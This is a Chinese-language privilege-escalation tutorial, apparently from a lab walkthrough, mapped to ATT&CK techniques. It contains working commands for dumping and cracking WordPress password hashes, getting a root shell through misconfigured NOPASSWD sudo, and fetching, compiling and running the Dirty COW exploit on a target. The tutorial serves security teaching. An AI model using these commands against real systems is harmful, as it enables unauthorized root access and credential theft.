ATT& CK权限升级技术
以下是我们将探索的关键技术和子技术列表:
本地帐户
利用错误配置的SUDO权限进行攻击
内核漏洞
我们的目标是将我们的权限提升到目标服务器上的“root”用户的权限。本地帐户
我们将利用的第一个权限提升技术是查找和破解本地帐户凭据以提升我们的权限的过程。对手可能会获取并滥用本地帐户的凭据,作为获得初始访问、持久性、权限提升或防御规避的手段。本地帐户是由组织配置的帐户,供用户、远程支持、服务使用,或用于在单个系统或服务上进行管理。
mysql -u root -p
use wordpress;
show tables;
select * from wp_users;
在这种情况下,WordPress使用MD5哈希算法加密了密码,因此,我们需要破解哈希以获得用户“steven”的明文密码。
破解MD5哈希与John The Ripper
1、第一步将涉及复制密码散列并将其粘贴到Kali VM上的文本文件中,之后,您需要将散列的相应用户名作为前缀添加到散列,如下面的屏幕截图所示。
3、这可以通过运行以下命令来完成:
ssh [email protected]<SERVER-IP>
这将提示您为用户指定密码,在输入破解的密码后,我们能够成功进行身份验证并通过第二个本地帐户获得访问权限,从而增加了我们在目标服务器上的控制域。
快速枚举显示用户“steven”不是特权用户,但是,我们仍然可以执行其他枚举,以确定他是否具有分配给其帐户的任何特定权限。
利用错误配置的SUDO权限进行攻击为了获得分配给用户帐户的完整权限范围,我们可以利用以下命令:
sudo -l
或者,我们也可以通过利用一个名为LinEnum的自动枚举脚本来自动化该过程。
关于LinEnum的更多信息可以在这里找到:https://github.com/rebootuser/LinEnum.git
1、为了使用LinEnum,我们需要将其传输到我们的目标系统,这可以通过将脚本下载到Kali VM,设置本地Web服务器并将其下载到目标系统来完成。或者,您也可以通过运行以下命令将其直接下载到目标服务器:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x /tmp/LinEnum.sh
/tmp/LinEnum.sh
NOPASSWD SUDO权限允许用户以“root”权限执行二进制文件或运行命令,而无需提供“root”密码。
sudo python -c 'import os; os.system("/bin/bash")'
如下面的屏幕截图所示,前面的命令将产生一个具有“root”权限的新bash会话。
通过利用配置错误的SUDO权限,我们已经成功地将我们的权限提升到本地的最高级别。
内核漏洞我们将探索的最后一种特权提升技术是利用内核漏洞来提升我们在目标系统上的特权的过程。
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh-Oles.sh
chmod +x /tmp/les.sh
/tmp/les.sh
结果基于成功概率对漏洞进行排序,其中首先列出的漏洞提供了最高的成功机会,在这种情况下,我们能够将“dirtycow”漏洞识别为良好的候选者,因为它满足分布和内核版本要求。
Linux-Exploit-Suggester还为您提供了参考链接,解释了漏洞的工作原理以及他们正在利用的漏洞,此外,它还为您提供了漏洞代码的下载链接。
4、你可以通过dirtycow下载,打开以下链接利用我们KaliVM上的代码进行分析:https://www.exploit-db.com/exploits/40839
5、下载漏洞代码后,我们用文本编辑器打开它进行分析。如下面的屏幕截图所示,漏洞代码包含各种注释,这些注释解释了它的工作原理以及如何编译。
此漏洞利用创建一个具有root权限的新用户帐户,并使用dirtycow漏洞的pokemon漏洞作为基础,并自动生成一个新的passwd行。运行二进制文件时,将提示目标系统上的用户输入新密码。运行该漏洞攻击后,您应该能够使用新创建的用户登录。
6、现在我们已经了解了这个漏洞是如何工作的,我们可以将它转移到目标并编译它。这可以通过运行以下命令来完成:
wget https://www.exploit-db.com/download/40839
7、将漏洞代码传输到目标服务器后,我们可以通过运行以下命令使用GCC(GNUC编译器)编译它:
gcc -pthread 40839.c -o exploit -lcrypt
8、如果编译成功,将创建产生的二进制文件,我们可以通过运行以下命令执行exploit二进制文件:
chmod +x exploit
./exploit
运行该漏洞后,系统将提示您为新用户指定密码。
在这种情况下,检查/etc/passwd文件的内容不会显示任何名为“firefart”的用户帐户,因此,我们可以推断此内核漏洞利用失败,无法为我们提供提升的用户帐户。
由于我们已经通过利用错误配置的SUDO权限获得了root权限,因此我们不需要使用此升级向量。介绍此技术的原因是为了证明并非所有升级向量和漏洞都有效,因此,在权限升级时,您需要使用多方面的方法。